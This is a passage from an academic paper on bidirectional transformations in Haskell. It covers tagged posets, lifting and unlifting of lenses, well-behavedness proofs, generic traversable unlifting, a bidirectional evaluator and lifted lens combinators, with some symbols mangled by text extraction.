O-tagged values can be altered without violating the bidirectional
laws, as the new dupL below.

dupL :: Poset s ⇒ L s (s, s)
dupL = L (λs → (s, s)) (λ (s, t)→ s g t)

Here, Poset is a type class for partially-ordered sets that has a
method (g) (pronounced as “lub") to compute least upper bounds.

class Poset s where (g) :: s → s → s

We require that (g) must be associative, commutative and idempo-
tent; but unlike a semilattice, (g) can be partial. Tagged elements
and their (nested) pairs are ordered as follows.
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instance Eq a ⇒ Poset (Tag a) where
(O s) g (U t) = U t
(U s) g (O t) = U s
(O s) g (O t) | s t = O s
(U s) g (U t) | s t = U s

instance (Poset a,Poset b)⇒ Poset (a, b) where
(a, b) g (a ′, b′) = (a g a ′, b g b′)

We also introduce the following type synonym for brevity.1

type LT s a = Poset s ⇒ L s a

As we will show later, the move from L to LT will have implications
on well-behavedness.

Accordingly, we change the types of (~), lift and lift2 as below.

(~) :: LT s a → LT s b → LT s (a, b)
lift :: L a b → (∀s.LT s a → LT s b)
lift2 :: L (a, b) c → (∀s. (LT s a,LT s b)→ LT s c)

And adapt the definitions of unlift and unlift2 to properly handle
the newly introduced tags.

unlift :: Eq a ⇒ (∀s.LT s a → LT s b)→ L a b
unlift f = f id ′

L ◦̂ tagL

id ′
L :: LT (Tag a) a

id ′
L = L unTag (const U )

tagL :: L a (Tag a)
tagL = L O (const unTag)

unlift2 :: (Eq a,Eq b)⇒
(∀s. (LT s a,LT s b)→ LT s c)→ L (a, b) c

unlift2 f = f (fst ′L, snd ′
L) ◦̂ tag2L

fst ′L :: LT (Tag a,Tag b) a
fst ′L = L (λ(a, )→ unTag a) (λ( , b) a → (U a, b))
snd ′

L :: LT (Tag a,Tag b) b
snd ′

L = L (λ( , b)→ unTag b) (λ(a, ) b → (a,U b))

tag2L :: L (a, b) (Tag a,Tag b)
tag2L = L (λ(a, b)→ (O a,O b))

(λ (a, b)→ (unTag a, unTag b))

We need to change unlift because it may be applied to functions
calling lift2 internally. In what follows, we only focus on lift2 and
unlift2 , and expect the discussion straightforwardly extends to lift
and the new unlift .

We can now show that the new unlift2 is the left-inverse of
lift2 .

Proposition 4. unlift2 (lift2 `) = ` holds for all lenses ` ::
L (A,B) C .

Proof. We prove the statement with the following calculation.

unlift2 (lift2 `)
= { definition unfolding & β-reduction }
` ◦̂ fst ′L ~ snd ′

L ◦̂ tag2L

= { unfolding (~) }
` ◦̂ (fst ′L ⊗̂ snd ′

L) ◦̂ dupL ◦̂ tag2L

= { (fst ′L ⊗̂ snd ′
L) ◦̂ dupL ◦̂ tag2L = idL — (*) }

`

We prove the statement (*) by showing get ((fst ′L ⊗̂ snd ′
L) ◦̂

dupL ◦̂ tag2L) (a, b) = (a, b) and put ((fst ′L ⊗̂ snd ′
L) ◦̂ dupL ◦̂

1 Actually, we will have to use newtype for the code in this paper to pass
GHC’s type checking. We take a small deviation from GHC Haskell here in
favor of brevity.

tag2L) (a, b) (a
′, b′) = (a ′, b′). Since the former property is easy

to prove, we only show the latter here.

put ((fst ′L ⊗̂ snd ′
L) ◦̂ dupL ◦̂ tag2L) (a, b) (a

′, b′)
= { definition unfolding & β-reduction }

put tag2L (a, b) $
put ((fst ′L ⊗̂ snd ′

L) ◦̂ dupL) (O a,O b) (a ′, b′)
= { definition unfolding & β-reduction }

put tag2L (a, b) $
put dupL (O a,O b) $
(put fst ′L (O a,O b) a ′, put snd ′

L (O a,O b) b′)
= { definitions of fst ′L and snd ′

L }
put tag2L (a, b) $

put dupL (O a,O b) ((U a ′,O b), (O a,U b′))
= { definition of dupL }

put tag2L (a, b) (U a ′,U b′)
= { definition of tag2L }

(a ′, b′)

Thus, we have proved that lift2 is injective.

We can recreate fstL and sndL with unlift2 , which is rather
reassuring.

Proposition 5. fstL = unlift2 fst and sndL = unlift2 snd .

Note that now unlift and unlift2 are no longer injective (even
with abstract L); there exist functions that are not equivalent but
coincide after unlifting. An example of such is the pair lift2 fstL and
fst : while unlifting both functions result in fstL, they actually differ
as put (lift2 fstL (fst ′L, snd ′

L)) (O a,O b) c = (U c,U b) and
put (fst (fst ′L, snd ′

L)) (O a,O b) c = (U c,O b). Intuitively,
fst knows that the second argument is unused, while lift2 fstL
does not because fstL is treated as a black box by lift2 . In other
words, the relationship between the lifting/unlifting functions and
the Yoneda Lemma discussed in Section 2 ceases to exist in this
new context. Nevertheless, the counter-example scenario described
here is contrived and will not affect practical programming in our
framework.

Another side effect of this new development with tags is that
the original bidirectional laws, i.e., the well-behavedness, are tem-
porarily broken during the execution of lift2 and unlift2 by the new
internal functions fst ′L, snd ′

L, dupL and tag2L. Consequently, we
need a new theoretical development to establish the preservation of
well-behavedness by the lifting/unlifting process.

3.3 Relevance-Aware Well-Behavedness
We have noted that the new internal functions dupL, fst ′L, snd ′

L and
tag2L are not well-behaved, for different reasons. For functions fst ′L
and snd ′

L, the difference from the original versions fstL and sndL is
only in the additional wrapping/unwrapping that is needed to adapt
to the existence of tags. As a result, as long as these functions are
used in an appropriate context, the bidirectional laws are expected
to hold. But for dupL and tag2L, the new definitions are more
defined in the sense that some originally failing executions of put
are now intentionally turned into successful ones. For this change in
semantics, we need to adapt the laws to allow temporary violations
and yet still establish well-behavedness of the resulting bidirectional
transformations in the end. For example, we still want unlift2 f to
be well-behaved for any f :: ∀s. (LT s A,LT s B) → LT s C , as
long as the lifting functions are applied to well-behaved lenses.

3.3.1 Relevance-Ordering and Lawful Duplications
Central to the discussion in this and the previous subsections is the
behavior of dupL. To maintain safety, unequal values as duplications
are only allowed if they have different tags (i,e,. one value must be
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irrelevant to the update and can be discarded). We formalize such
a property with the partial ordering between tagged values. Let us
write (�) for the partial order induced from g: that is, s � t if
s g t is defined and equal to t . One can see that (�) is the reflexive
closure of O s � U t . We write ↑s for a value obtained from s by
replacing all O tags with U tags. Trivially, we have s � ↑s . But
there exists s ′ such that s � s ′ and s ′ 6= ↑s .

Now we can define a variant of well-behavedness local to the
U -tagged elements.

Definition 2 (Local Well-Behavedness). A bidirectional transfor-
mation ` :: LT a b is called locally well-behaved if the following
four conditions hold.

• (Forward Tag-Irrelevance) If v = get ` s , then for all s ′ such
that ↑s ′ = ↑s , v = get ` s ′ holds.

• (Backward Inflation) For all minimal (with respect to �) s , if
put ` s v succeeds as s ′, then s � s ′.

• (Local Acceptability) For all s , s � put ` s (get ` s) � ↑s .
• (Local Consistency) For all s and v , assuming put ` s v

succeeds as s ′, then for all s ′′ with s ′ � s ′′, get ` s ′′ = v
holds.

In the above, tags introduced for the flexible behavior of put
must not affect the behavior of get : ↑s ′ = ↑s means that s and
s ′ are equal if tags are ignored. The property local-acceptability is
similar to acceptability, except that O-tags are allowed to change to
U -tags. The property local consistency is stronger than consistency
in the sense that get must map all values sharing the same U -
tagged elements with s ′ to the same view. The idea is that O-tagged
elements in s ′ are not connected to the view v , and thus changing
them will not affect v . A similar reasoning applies to backward
inflation stating that source elements changed by put will have U -
tags. Note that in this definition of local well-behavedness, tags are
assumed to appear only in the sources. As a matter of fact, only
dupL and tag2L/tagL introduce tagged views; but they are always
precomposed when used, as shown in the following.

We have the following compositional properties for local well-
behavedness.

Lemma 2. The following properties hold for bidirectional transfor-
mations x and y with appropriate types.

• If x is well-behaved and y is locally well-behaved, then lift x y
is locally well-behaved.

• If x and y are locally well-behaved, x ~ y is locally well-
behaved.

• If x and y are locally well-behaved, x ◦̂ tag2L and y ◦̂ tagL are
well-behaved.

Proof. We only prove the second property, which is the most non-
trivial one among the three, although we would like to note that
forward tag-irrelevance is used to prove the third property.

We first show local acceptability.

put ((x ⊗̂ y) ◦̂ dupL) s (get ((x ⊗̂ y) ◦̂ dupL) s)
= { simplification }

put dupL s (put (x ⊗̂ y) (s, s) (get (x ⊗̂ y) (s, s)))
= { by the local acceptability of x ⊗̂ y }

put dupL s (s ′, s ′′) — where s � s ′ � ↑s , s � s ′′ � ↑s
= { by the definition of dupL and that s ′ g s ′′ is defined }

s ′ g s ′′ � ↑s

Note that, since s ′ � ↑s and s ′′ � ↑s , there is s ′ g s ′′ � ↑s .
Then, we prove local consistency. Assume that put ((x ⊗̂ y) ◦̂

dupL) s (v1, v2) succeeds in s ′. Then, by the following calculation,
we have s ′ = put x s v1 g put y s v2.

put ((x ⊗̂ y) ◦̂ dupL) s (v1, v2)
= { simplification }

put dupL s (put x s v1, put y s v2)
= { definition unfolding }

put x s v1 g put y s v2

Let s ′′ be a source such that s ′ � s ′′. Then, we prove get ((x ⊗̂
y)@dupL) s ′′ = (v1, v2) as follows.

get ((x ⊗̂ y) ◦̂ dupL) s ′′ (v1, v2)
= { simplification }

(get x s ′′, get y s ′′)
= { the local consistency of x and y }

(v1, v2)

Note that we have put x s v1 � s ′ � s ′′ and put y s v2 � s ′ �
s ′′ by the definition of g.

Forward tag-irrelevance and backward inflation are straightfor-
ward.

Corollary 1. The following properties hold.

• lift ` ::∀s.LT s A→ LT s B preserves local well-behavedness,
if ` :: LT A B is well-behaved.

• lift2 ` :: ∀s. (LT s A,LT s B) → LT s C preserves local
well-behavedness, if ` :: LT (A,B) C is well-behaved.

Similar to the case in Section 2, compositional reasoning of
well-behavedness requires the lens type LT to be abstract.

Definition 3 (Abstract Nature of LT). We say LT is abstract in f ::τ
if there is a polymorphic function h of type

∀`. (∀a b.LT a b → (∀s. ` s a → ` s b))
→ (∀a b. (∀s. ` s a → ` s b)→ LT a b)
→ (∀s a b. ` s a → ` s b → ` s (a, b))
→ (∀a b c. (∀s. (` s a, ` s b)→ ` x c)→ LT (a, b) c)
→ τ ′

satisfying f = h lift unlift (~) unlift2 and τ ′ = τ [`/LT].

Then, we obtain the following properties from the free theo-
rems [34, 37].

Theorem 4. Let f be a function of type ∀s. (LT s A,LT s B) →
LT s C in which LT is abstract. Then, f (x , y) is locally well-
behaved if x and y are also locally well-behaved, assuming that lift
is applied only to well-behaved lenses.

Corollary 2. Let f be a function of type ∀s. (LT s A,LT s B)→
LT s C in which LT is abstract. Then, unlift2 f is well-behaved,
assuming that lift is applied only to well-behaved lenses.

Example 1 (swap). The bidirectional version of swap can be
defined as follows.

swapL :: (Eq a,Eq b)⇒ L (a, b) (b, a)
swapL = unlift2 (lift2 idL ◦ swap)

And it behaves as expected.

put swapL (1, 2) (4, 3)
= { unfold definitions }

put ((snd ′
L ⊗̂ fst ′L) ◦̂ dupL ◦̂ tag2L) (1, 2) (4, 3)

= { simplifications }
put tag2L (1, 2) $

put dupL (O 1,O 2) $
(put snd ′

L (O 1,O 2) 4, put fst ′L (O 1,O 2) 3)
= { definition of fst ′L and snd ′

L }
put tag2L (1, 2) $

put dupL (O 1,O 2) ((O 1,U 4), (U 3,O 2))
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= { definitions of dupL and tag2L }
(3, 4)

It is worth mentioning that (~) is the base for “splitting" and
“lifting" tuples of arbitrary arity. For example, the triple case is as
follows.

split3 :: (LT s a,LT s b,LT s c)→ LT s (a, b, c)
split3 (x , y , z ) = lift flattenLL ((x ~ y)~ z )

where flattenLL :: L ((a, b), c) (a, b, c)
flattenLL = L (λ((x , y), z )→ (x , y , z ))

(λ (x , y , z )→ ((x , y), z ))

lift3 ` t = lift ` (split3 t)

For the family of unlifting functions, we additionally need n-ary ver-
sions of projection and tagging functions, which are straightforward
to define.

In the above definition of split3 , we have decided to nest to the
left in the intermediate step. This choice is not essential.

split3 ′ (x , y , z ) = lift flattenRL (x ~ (y ~ z ))
where flattenRL :: L ((a, b), c) (a, b, c)

flattenRL = L (λ(x , (y , z ))→ (x , y , z ))
(λ (x , y , z )→ (x , (y , z )))

The two definitions split3 and split3 ′ coincide.
To complete the picture, the nullary lens function

unit :: ∀s.LT s ()
unit = L (λ → ()) (λs ()→ s)

is the unit for (~). Theoretically (LT s (−),~, unit) forms a lax
monoidal functor (Section XI.2 in [19]) under certain conditions
(see Section 3.4). Practically, unit enables us to define the following
combinator.

new :: Eq a ⇒ a → ∀s.LT s a
new a = lift (L (const a) (λ a ′ → check a a ′)) unit

where
check a a ′ = if a a ′ then ()

else error "Update on constant"

Function new lifts ordinary values into the bidirectional transfor-
mation system; but since the values are not from any source, they
are not updatable. Nevertheless, this ability to lift constant values
is very useful in practice [21, 22], as we will see in the examples to
come.

3.4 Categorical Notes
Recall that L S (−) is a functor from the category of lenses to the
category of sets and (total) functions, which maps ` :: L A B to
lift ` :: L S A→ L S B for any S . In the case that S is tagged and
thus partially ordered, (LT S (−),~, unit) forms a lax monoidal
functor, under the following conditions.

• (~) must be natural, i.e., (lift f x ) ~ (lift g y) = lift (f ⊗̂
g) (x ~ y) for all f , g , x and y with appropriate types.

• split3 and split3 ′ coincide.
• lift elimUnitLL (unit~x ) = x must hold where elimUnitLL::

L ((), a) a is the bidirectional version of elimination of (), and
so does its symmetric version.

Intuitively, the second and the third conditions state that the mapping
must respect the monoid structure of products, with the former
concerning associativity and the latter concerning the identity
elements. The first and second conditions above hold without any
additional assumptions, whereas the third condition, which reduces
to s g put x s v = put x s v , is not necessarily true if s

is not minimal (if s is minimal, this property holds by backward
inflation). Recall that minimality of s implies that s can only have
O-tags. To get around this restriction, we take LT S A as a quotient
set of L S A by the equivalence relation ≡ defined as x ≡ y if
get x = get y ∧ put x s = put y s for all minimal s . This
equivalence is preserved by manipulations of LT-data; that is, the
following holds for x , y , z and w with appropriate types.

• x ≡ y implies lift ` x ≡ lift ` y for any well-behaved lens `.
• x ≡ y and z ≡ w implies x ~ z ≡ y ~ w .
• x ≡ y implies x ◦̂ tagL = y ◦̂ tagL (or x ◦̂ tag2L = y ◦̂ tag2L).

Note that the above three cases cover the only ways to con-
struct/destruct LT in f when LT is abstract. The third condition
says that this “coarse” equivalence (≡) on LT can be “sharpened”
to the usual extensional equality (=) by tagL and tag2L in the
unlifting functions.

It is known that an Applicative functor in Haskell corresponds to
a monoidal functors [29]. However, we cannot use an Applicative-
like interface because there is no exponentials in lenses [30]. Never-
theless, the same spirit of applicative-style programming centering
around lambda abstractions and function applications is shared in
our framework.

4. Going Generic
In this section, we make the ideas developed in previous sections
practical by extending the technique to lists and other data structures.

4.1 Unlifting Functions on Lists
We have looked at how unlifting works for n-nary tuples in Section 3.
And we now see how the idea can be extended to lists. As a typical
usage scenario, if we apply map to a lens function lift `, we will
obtain a function of type map (lift `) :: [LT s A]→ [LT s B ]. But
what we really would like is a lens of type L [A] [B ]. The way to
achieve this is to internally treat length-n lists as n-ary tuples. This
treatment effectively restricts us to in-place updates of views (i.e.,
no change is allowed to the list structure); we will revisit this issue
in more detail in Section 6.1.

First, we can “split” lists by repeated pair-splitting, as follows.

lsequence list :: [L
T s a ]→ LT s [a ]

lsequence list [ ] = lift nilL unit
lsequence list (x : xs) = lift2 consL (x , lsequence list xs)

nilL = L (λ()→ [ ]) (λ() [ ]→ ())
consL = L (λ(a, as)→ (a : as))

(λ (a ′ : as ′)→ (a ′, as ′))

The name of this function is inspired by sequence in Haskell. Then
the lifting function is defined straightforwardly.

lift list :: L [a ] b → ∀s. [LT s a ]→ LT s b
lift list ` xs = lift ` (lsequence list xs)

Tagged lists form an instance of Poset .

instance Poset a ⇒ Poset [a ] where
xs g ys = if length xs length ys

then zipWith (g) xs ys
else ⊥ -- Unreachable in our framework

Note that the requirement that xs and ys must has the same shape
is made explicit above, though it is automatically enforced by the
abstract use of LT in lifted functions.

The definition of unlift list is a bit more involved. What we need
to do is to turn every element of the source list into a projection lens
and apply the lens function f .
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unlift list :: ∀a b.Eq a ⇒
(∀s. [LT s a ]→ LT s b)→ L [a ] b

unlift list f = L (λs → get (mkLens s) s)
(λs → put (mkLens s) s)

where
mkLens s = f (projs (length s)) ◦̂ tagListL
tagListL = L (map O) (λ ys → map unTag ys)
projs n = map projL [0 . .n − 1]

projL :: Int → LT [Tag a ] a
projL i = L (λxs → unTag (xs !! i))

(λas a → update i (U a) as)

Giving that the need to inspect the length of the source leads to the
separated definitions of get and put in the above, there might be
worry that we may lose the guarantee of well-behaveness of the
resulting lens. But this is not a problem here since the length of
the source list is an invariant of the resulting lens. Similar to lift2 ,
lift list is an injection with unlift list as its left inverse.

Example 2 (Bidirectional tail ). Let us consider the function tail .

tail :: [a ]→ [a ]
tail (x : xs) = xs

A bidirectional version of tail is easily constructed by using
lsequence list and unlift list as follows.

tailL :: Eq a ⇒ L [a ] [a ]
tailL = unlift list (lsequence list ◦ tail)

The obtained lens tailL supports all in-place updates, such as
put tailL ["a", "b", "c"] ["B", "C"] = ["a", "B", "C"]. In
contrast, any change on list length will be rejected; specifically
nilL or consL in lsequence list throws an error.

Example 3 (Bidirectional unlines). Let us consider a bidirec-
tional version of unlines :: [String ] → String that concatenate
lines, after appending a terminating newline to each. For example,
unlines ["ab", "c"] = "ab\nc\n". In conventional unidirectional
programming, one can implement unlines as follows.

unlines [ ] = ""
unlines (x : xs) = catLine x (unlines xs)

catLine x y = x ++ "\n"++ y

To construct a bidirectional version of unlines , we first need a
bidirectional version of catLine .

catLineL :: L (String ,String) String
catLineL =

L (λ(s, t)→ s ++ "\n"++ t)
(λ(s, t) u → let n = length (filter ( ’\n’) s)

i = elemIndices ’\n’ u !! n
(s ′, t ′) = splitAt i u

in (s ′, tail t ′))

Here, elemIndices and splitAt are functions from Data.List:
elemIndices c s returns the indices of all elements that are equal
to c; splitAt i x returns a tuple where the first element is x ’s
prefix of length i and the second element is the remainder of the list.
Intuitively, put catLineL (s, t) u splits u into s ′ and "\n" ++ t ′

so that s ′ contains the same number of newlines as the original
s . For example, put catLineL ("a\nbc", "de") "A\nB\nC" =
("A\nB", "C").

Then, construction of a bidirectional version unlinesL of
unlines is straightforward; we only need to replace "" with new ""
and catLine with lift2 catLineL, and to apply unlift list to obtain
a lens.

unlinesL :: L [String ] String
unlinesL = unlift list unlinesF

unlinesF :: ∀s. [LT s String ]→ LT s String
unlinesF [ ] = new ""
unlinesF (x : xs) = lift2 catLineL (x , unlinesF xs)

As one can see, unlinesF is written in the same applicative style
as unlines . The construction principle is: if the original function
handles data that one would like update bidirectionally (e.g., String
in this case), replace the all manipulations (e.g., catLine and "")
of the data with the corresponding bidirectional versions (e.g.,
lift2 catLineL and new "").

Lens unlinesL accepts updates that do not change the original
formatting of the view (i.e., the same number of lines and an empty
last line). For example, we have put unlinesL ["a", "b", "c"]
"AA\nBB\nCC\n" = ["AA", "BB", "CC"], but put unlinesL

["a", "b", "c"] "AA\nBB\n" = ⊥ and put unlinesL ["a", "b",
"c"] "AA\nBB\nCC\nD" = ⊥.

Example 4 (unlines defined by foldr ). Another common way to
implement unlines is to use foldr , as below.

unlines = foldr catLine ""

The same coding principle for constructing bidirectional versions
applies.

unlinesL :: L [String ] String
unlinesL = unlift list unlinesF

unlinesF :: ∀s. [LT s String ]→ LT s String
unlinesF = foldr (lift2 catLineL) (new "")

The new unlinesF is again in the same applicative style as the
new unlines , where the unidirectional function foldr is applied to
normal functions and lens functions alike.

For readers familiar with the literature of bidirectional transfor-
mation, this restriction to in-place updates is very similar to that
in semantic bidirectionalization [21, 33, 41]. We will discuss the
connection in Section 7.1.

4.2 Datatype-Generic Unlifting Functions
The treatment of lists is an instance of the general case of container-
like datatypes. We can view any container with n elements as an n-
tuple, only to have list length replaced by the more general container
shape. In this section, we define a generic version of our technique
that works for many datatypes.

Specifically, we use the datatype-generic function traverse,
which can be found in Data.Traversable, to give data-type
generic lifting and unlifting functions.

traverse :: (Traversable t ,Applicative f )
⇒ (a → f b)→ t a → f (t b)

We use traverse to define two functions that are able to extract
data from the structure holding them (contents), and redecorate an
“empty” structures with given data (fill ). 2

newtype Const a b = Const {getConst :: a }
contents :: Traversable t ⇒ t a → [a ]
contents t = getConst (traverse (λx → Const [x ]) t)

2 In GHC, the function contents is called toList , which is defined in
Data.Foldable (Every Traversable instance is also an instance of
Foldable). We use the name contents to emphasize the function’s role
of extracting contents from structures [3].
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fill :: Traversable t ⇒ t b → [a ]→ t a
fill t ` = evalState (traverse next t) `

where
next = do (a : x )← Control .Monad .State.get

Control .Monad .State.put x
return a

Here, Const a b is an instance of the Haskell Functor that ignores
its argument b. It becomes an instance of Applicative if a is an
instance of Monoid . We qualified the state monad operations get
and put to distinguish them from the get and put as bidirectional
transformations.

For many datatypes such as lists and trees, instances of
Traversable are straightforward to define to the extend of being
systematically derivable [23]. The instances of Traversable must
satisfy certain laws [3]; and for such lawful instances, we have

fill (fmap f t) (contents t) = t (FillContents)
contents (fill t xs) = xs if length xs = length (contents t)

(ContentsFill)

for any f and t, which are needed to established the correctness of
our generic algorithm. Note that every Traversable instance is also
an instance of Functor .

We can now define a generic lsequence function as follows.

lsequence :: (Eq a,Eq (t ()),Traversable t)⇒
t (LT s a)→ LT s (t a)

lsequence t =
lift (fillL (shape t)) (lsequence list (contents t))
where

fillL s = L (λxs → fill s xs) (λ t → contents ′ s t)
contents ′ s t = if shape t s

then contents t
else error "Shape Mismatch"

Here, shape computes the shape of a structure by replacing elements
with units, i.e., shape t = fmap (λ → ()) t . Also, we can make
a Poset instance as follows.3

instance (Poset a,Eq (t ()),Traversable t)⇒
Poset (t a) where

t1 g t2 = if shape t1 shape t2
then fill t1 (contents t1 g contents t2)
else ⊥ -- Unreachable, in our framework

Following the example of lists, we have a generic unlifting function
with length replaced by shape .

unliftT :: (Eq (t ()),Eq a,Traversable t)⇒
(∀s. t (LT s a)→ LT s b)→ L (t a) b

unliftT f = L (λs → get (mkLens s) s)
(λs → put (mkLens s) s)

where
mkLens s = f (projTs (shape s)) ◦̂ tagTL

tagTL = L (fmap O) (const $ fmap unTag)
projTs sh =

let n = length (contents sh)
in fill sh [projTL i sh | i ← [0 . .n − 1]]

projTL i sh =
L (unTag ◦ (!!i) ◦ contents)
(λs v → fill sh (update i (U v) (contents s)))

3 This definition actually overlaps with that for pairs. So we either need to
have “wrapper” type constructors, or enable OverlappingInstances.

Here, projTL i t is a bidirectional transformation that extracts the
i th element in t with the tag erased. Similarly to unlift list, the shape
of the source is an invariant of the derived lens.

5. An Application: Bidirectional Evaluation
In this section, we demonstrate the expressiveness of our framework
by defining a bidirectional evaluator in it. As we will see in a larger
scale, programming in our framework is very similar to what it is in
conventional unidirectional languages, distinguishing us from the
others.

An evaluator can be seen as a mapping from an environment
to a value of a given expression. A bidirectional evaluator [14]
additionally takes the same expression but maps an updated value of
the expression back to an updated environment, so that evaluating
the expression under the updated environment results in the value.

Consider the following syntax for a higher-order call-by-value
language.

data Exp = ENum Int | EInc Exp
| EVar String | EApp Exp Exp
| EFun String Exp deriving Eq

data Val a = VNum a
| VFun String Exp (Env a) deriving Eq

data Env a = Env [(String ,Val a)] deriving Eq

This definition is standard, except that the type of values is pa-
rameterized to accommodate both Val (LT s Int) and Val Int
for updatable and ordinary integers, and so does the type of en-
vironments. It is not difficult to make Val and Env instances of
Traversable .

We only consider well-typed expressions. Using our framework,
writing a bidirectional evaluator is almost as easy as writing the
usual unidirectional one.

eval :: Env (LT s Int)→ Exp → Val (LT s Int)
eval env (ENum n) = VNum (new n)
eval env (EInc e) = let VNum v = eval env e

in VNum (lift incL v)
eval env (EVar x ) = lkup x env
eval env (EApp e1 e2) = let VFun x e ′ (Env env ′) =

eval env e1
v2 = eval env e2

in eval (Env ((x , v2) : env ′)) e ′

eval env (EFun x e) = VFun x e env

Here, incL :: L Int Int is a bidirectional version of (+1) that can
be defined as follows.

incL = L (+1) (λ x → x − 1)

and lkup :: String → Env a → a is a lookup function.
A lens evalL :: Exp → L (Env Int) (Val Int) naturally arises

from eval .

evalL :: Exp → L (Env Int) (Val Int)
evalL e = unliftT (λenv → liftT idL $ eval env e)

As an example, let’s consider the following expression which
essentially computes x + 65536 by using a higher-order function
twice in the object language.

expr = twice @@ twice @@ twice @@ twice @@ inc @@ x
where

twice = EFun "f" $ EFun "x" $
EVar "f" @@ (EVar "f" @@ EVar "x")

x = EVar "x"
inc = EFun "x" $ EInc (EVar "x")
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infixl 9 @@ -- @@ is left associative
(@@) = EApp

For easy reading, we translate the above expression to Haskell
syntax.

expr = ((((twice twice) twice) twice) inc) x
where twice f x = f (f x ); inc x = x + 1

Now giving an environment that binds the free variables x and y ,
we can run the bidirectional evaluator as follows, with env0 =
Env [("x",VNum 3)].

Main> get (evalL expr) env0

VNum 65539
Main> put (evalL expr) env0 (VNum 65536)
Env [("x",VNum 0)]

As a remark, this seemingly innocent implementation of evalL
is actually highly non-trivial. It essentially defines compositional (or
modular) bidirectionalization [20, 21, 33, 41] of programs that are
monomorphic in type and use higher-order functions in definition—
something that has not been achieved in bidirectional-transformation
research so far.

6. Extensions
In this section, we extend our framework in two dimensions: al-
lowing shape changes via lifting lens combinators, and allowing
(LT s A)-values to be inspected during forward transformations
following our previous work [21, 22].

6.1 Lifting Lens-Combinators
An advantage of the original lens combinators [9] (that operate
directly on the non-functional representation of lenses) over what
we have presented so far is the ability to accept shape changes to
views. We argue that our framework is general enough to easily
incorporate such lens combinators.

Since we already know how to lift/unlift lenses, it only takes
some plumbing to be able to handle lens combinators, which are
simply functions over lenses. For example, for combinators of type
L A B → L C D we have

liftC :: Eq a ⇒ (L a b → L c d)→
(∀s.LT s a → LT s b)→ (∀t .LT t c → LT t d)

liftC c f = lift (c (unlift f ))

To draw an analogy to parametric higher-order abstract syn-
tax [5], the polymorphic arguments of the lifted combinators rep-
resent closed expressions; for example, a program like λx →
. . . c (. . . x . . . ) . . . does not type-check when c is a lifted combi-
nator.

As an example, let us consider the following lens combinator
mapDefaultC.

mapDefaultC :: a → L a b → L [a ] [b ]
mapDefaultC d ` = L (map (get `)) (λs v → go s v)

where go ss [ ] = [ ]
go [ ] (v : vs) = put ` d v : go [ ] vs
go (s : ss) (v : vs) = put ` s v : go ss vs

When given a lens on elements, mapDefaultC d turns it into
a lens on lists. The default value d is used when new elements
are inserted to the view, making the list lengths different. We can
incorporate this behavior into our framework. For example, we can
use mapDefaultC as the following, which in the forward direction
is essentially map (uncurry (+)).

mapAddL :: L [(Int , Int)] [Int ]
mapAddL = unlift mapAddF

mapAddF xs = mapF (0, 0) (lift addL) xs
mapF d = liftC (mapDefaultC d)

addL = L (λ(x , y)→ x + y) (λ(x , ) v → (x , v − x ))

This lens mapAddL constructed in our framework handles shape
changes without any trouble.

Main> put mapAddL [(1, 1), (2, 2)] [3, 5]
[(1, 2), (2, 3)]
Main> put mapAddL [(1, 1), (2, 2)] [3]
[(1, 2)]
Main> put mapAddL [(1, 1), (2, 2)] [3, 5, 7]
[(1, 2), (2, 3), (0, 7)]

The trick is that the expression mapF (0, 0) (lift addL)
has type ∀s.LT s [(Int , Int)] → LT s [Int ], where the
list occurs inside LT s , contrasting to map (lift addL)’s type
∀s. [LT s (Int , Int)]→ [LT s Int ]. Intuitively, the type construc-
tor LT s can be seen as an updatability annotation; LT s [(Int , Int)]
means that the list itself is updatable, whereas [LT s (Int , Int)]
means that only the elements are updatable. Here is the trade-off:
the former has better updatability at the cost of a special lifted lens
combinator; the latter has less updatability but simply uses the usual
map directly. Our framework enables programmers to choose either
style, or anywhere in between freely.

This position-based approach used in mapDefaultC is not
the only way to resolve shape descrepencies. We can also match
elements according to keys [2, 11]. As an example, let us consider a
variant of the map combinator.

mapByKeyC :: Eq k ⇒ a → L a b → L [(k , a)] [(k , b)]
mapByKeyC d ` = L (map (λ(k , s)→ (k , get ` s)))

(λs v → go s v)
where go ss [ ] = [ ]

go ss ((k , v) : vs) =
case lookup k ss of

Nothing → (k , put ` d v) : go ss vs
Just s → (k , put ` s v) : go (del k ss) vs

del k [ ] = [ ]
del k ((k ′, s) : ss) | k k ′ = ss

| otherwise = (k ′, s) : del k ss

Lenses constructed with mapByKeyC match with keys instead
of positions.

mapAddByKeyL :: Eq k ⇒ L [(k , (Int , Int))] [(k , Int)]
mapAddByKeyL = unlift mapAddByKeyF

mapAddByKeyF xs = mapByKeyF (0, 0) (lift addL) xs

mapByKeyF d = liftC (mapByKeyC d)

Let s be [("A", (1, 1)), ("B", (2, 2))]. Then, the obtained lens
works as follows.

Main> put mapAddByKeyL s [("B", 5), ("A", 3)]
[("B", (2, 3)), ("A", (1, 2))]
Main> put mapAddByKeyL s [("A", 3)]
[("A", (1, 2))]
Main> put mapAddByKeyL s [("B", 5), ("C", 7), ("A", 3)]
[("B", (2, 3)), ("C", (0, 7)), ("A", (1, 2))]

6.2 Observations of Lifted Values
So far we have programmed bidirectional transformations ranging
from polymorphic to monomorphic functions. For example, unlines
is monomorphic because its base case returns a String constant,
which is nicely handled in our framework by the function new . At
the same time, it is also obvious that the creation of constant values is
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not the only cause of a transformation being monomorphic [21, 22].
For example, let us consider the following toy program.4

bad (x , y) = if x new 0 then (x , y) else (x ,new 1)

In this program, the behavior of the transformation depends on the
“observation" made to a value that may potentially be updated in the
view. Then the naively obtained lens badL = unlift2 (lift2 idL ◦
bad) would violate well-behavedness, as put badL (0, 2) (1, 2) =
(1, 2) but get badL (1, 2) = (1, 1).

Our previous work [21, 22] tackles this problem by using a
monad to record observations, and to enforce that the recorded
observation results remain unchanged while executing put . The
same technique can be used in our framework, and actually in a
much simpler way due to our new compositional formalization.

newtype R s a = R (Poset s ⇒ s → (a, s → Bool))

We can see that R A B represents gets with restricted source
updates: taking a source s :: A, it returns a view of type B together
with a constraint of type A → Bool which must remain satisfied
amid updates of s . Formally, giving R m :: R A B , for any s , if
( , p) = m s then we have: (1) p s = True; (2) p s ′ = True
implies m s = m s ′ for any s ′. It is not difficult to make R s an
instance of Monad—it is a composition of Reader and Writer
monads. We only show the definition of (>>=).

R m >>= f = R $ λs → let (x , c1) = m s
(y , c2) = let R k = f x in k s

in (y , λs → c1 s ∧ c2 s)

Then, we define a function that produces R values, and a version
of unlifting that enforces the observations gathered.

observe :: Eq w ⇒ LT s w → R s w
observe ` = R (λs → let w = get ` s

in (w , λs ′ → get ` s ′ w))

unliftM2 :: (Eq a,Eq b)⇒
